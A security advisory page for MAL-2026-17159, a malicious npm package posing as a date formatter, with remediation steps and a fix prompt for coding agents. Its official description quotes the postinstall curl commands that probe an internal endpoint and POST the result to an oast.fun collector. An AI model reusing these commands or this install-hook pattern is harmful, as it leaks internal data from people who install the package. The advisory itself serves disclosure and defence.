# MAL-2026-17159: Malicious code in simple-date-formatter-new-13 (npm)


- **Type:** Malicious package
- **Package:** `simple-date-formatter-new-13` (npm)
- **Published:** 24 Sep 2026

## What is MAL-2026-17159?

MAL-2026-17159 is a malicious package in simple-date-formatter-new-13, published on 24 Sep 2026. 

### Official description

simple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d "$(cat /tmp/bsrc.txt...)" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.

## What should I do about MAL-2026-17159?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17159 is a malicious package: simple-date-formatter-new-13 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17159/ (Markdown: https://insights.sbomify.com/MAL-2026-17159/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17159

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17159/
Summaries are generated and may contain mistakes; the official description above is the record.
